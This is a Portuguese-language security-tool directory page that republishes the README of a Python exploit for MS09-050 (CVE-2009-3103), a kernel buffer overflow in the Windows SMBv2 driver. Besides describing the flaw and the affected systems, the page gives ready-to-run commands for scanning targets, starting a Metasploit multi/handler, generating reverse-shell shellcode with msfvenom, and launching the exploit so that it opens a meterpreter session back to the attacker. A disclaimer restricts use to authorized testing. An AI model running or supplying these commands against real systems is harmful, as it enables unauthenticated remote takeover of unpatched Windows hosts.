Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
MS09-050 — Exploit em Python para MS09-050 (CVE-2009-3103) estouro de buffer no srv2.sys do SMBv2, com scanner de vulnerabilidade, detecção automática de arquitetura e payloads de reverse shell x86/x64. | Kitploit
Ferramentas/GitHubGitHub/bytejmp/ms09-050
Scanners de VulnerabilidadesGeração de PayloadsExploraçãoShellcodeColeta de InformaçõesPós-ExploraçãoSegurança de RedeTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubbytejmp/ms09-050

MS09-050

há 13h 56mAinda não revisado

Exploit em Python para MS09-050 (CVE-2009-3103) estouro de buffer no srv2.sys do SMBv2, com scanner de vulnerabilidade, detecção automática de arquitetura e payloads de reverse shell x86/x64.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

MS09-050 — Exploit de Execução Remota de Código no SMBv2

CVE-2009-3103

A Vulnerabilidade

O Windows Vista e o Server 2008 introduziram o SMBv2 com um novo driver de kernel, srv2.sys. Este driver falha ao validar o campo Process Id High em requisições de negociação SMB. Ao enviar um valor especialmente construído neste campo, um atacante faz com que srv2.sys indexe uma tabela de ponteiros de função com um valor controlado, desreferenciando um endereço fornecido pelo atacante.

O resultado é a execução de código arbitrário em contexto de kernel, sem necessidade de autenticação. O atacante só precisa alcançar a porta 445.

A Microsoft corrigiu isso em outubro de 2009 (KB975517). Qualquer sistema Vista SP1/SP2 ou Server 2008 SP1 sem patch é vulnerável.

Sistemas Afetados

SO AlvoArquitetura
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (pré-R2)x64

Recursos

  • Módulo scanner: identifica o SO e a arquitetura do alvo via negociação SMB, reporta o status de vulnerabilidade
  • Detecção automática de arquitetura: o scanner alimenta as informações de arquitetura diretamente no exploit, sem adivinhação manual
  • Payload embutido: stager meterpreter/reverse_tcp para x86, pronto para uso com multi/handler
  • Integração com msfvenom: gere qualquer payload para qualquer arquitetura via msfvenom, com --msf-payload opcional para escolher um payload personalizado
  • Suporte a shellcode personalizado: carregue qualquer arquivo de shellcode bruto (-s)
  • Saída estruturada: [+] sucesso, [-] erro, [!] aviso, [*] informação

Instalação

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

Requisitos:

  • Python 3.6+
  • rpcclient (do pacote smbclient), usado para acionar o payload após a injeção
  • msfvenom, necessário apenas se usar a flag --msfvenom

No Debian/Ubuntu:

root@kitploit:~
sudo apt install smbclient

No Arch Linux:

root@kitploit:~
sudo pacman -S smbclient

Uso

Escanear um alvo

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

Saída:

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

Explorar com payload embutido (x86)

Usa um stager meterpreter/reverse_tcp. Inicie seu handler primeiro:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

Depois execute o exploit:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

Explorar com msfvenom (qualquer arquitetura/payload)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

Explorar com msfvenom (payload personalizado)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

Explorar com arquivo de shellcode personalizado

Gere o shellcode bruto uma vez, reutilize sem msfvenom:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

Depois forneça-o ao exploit:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

Ajuda completa

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

Estrutura do Projeto

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

Como Funciona

  1. O Scanner envia uma Negotiate Protocol Request SMB1 para identificar a versão do SO e a arquitetura do alvo
  2. O Exploit constrói uma requisição de negociação SMBv2 malformada que estoura um buffer em srv2.sys
  3. Um stager de hook sysenter é usado para obter execução inicial de código em contexto de kernel
  4. O stager transita para o modo usuário e executa o shellcode fornecido (reverse shell)
  5. O rpcclient aciona o código injetado iniciando uma tentativa de autenticação SMB

Referências

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

Aviso Legal

Esta ferramenta é fornecida apenas para testes de penetração autorizados e fins educacionais.

O acesso não autorizado a sistemas de computador é uma infração criminal na maioria das jurisdições. Você deve obter permissão escrita explícita do proprietário do sistema antes de usar esta ferramenta contra qualquer alvo. Os autores não assumem qualquer responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este software.

Ao usar esta ferramenta, você concorda que:

  • Você possui autorização escrita para testar o sistema alvo
  • Você está operando dentro do escopo de uma avaliação de segurança legítima
  • Você aceita total responsabilidade por suas ações
  • Você cumprirá todas as leis e regulamentos aplicáveis

Use com responsabilidade. Hackeie eticamente.

Baixar ferramenta